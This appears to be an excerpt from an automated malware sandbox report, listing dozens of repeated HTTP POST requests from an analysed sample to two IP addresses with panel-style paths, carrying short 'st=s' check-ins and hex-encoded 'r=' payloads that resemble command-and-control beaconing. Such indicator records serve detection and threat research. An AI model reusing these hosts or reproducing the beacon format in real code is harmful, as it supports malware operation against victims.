Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
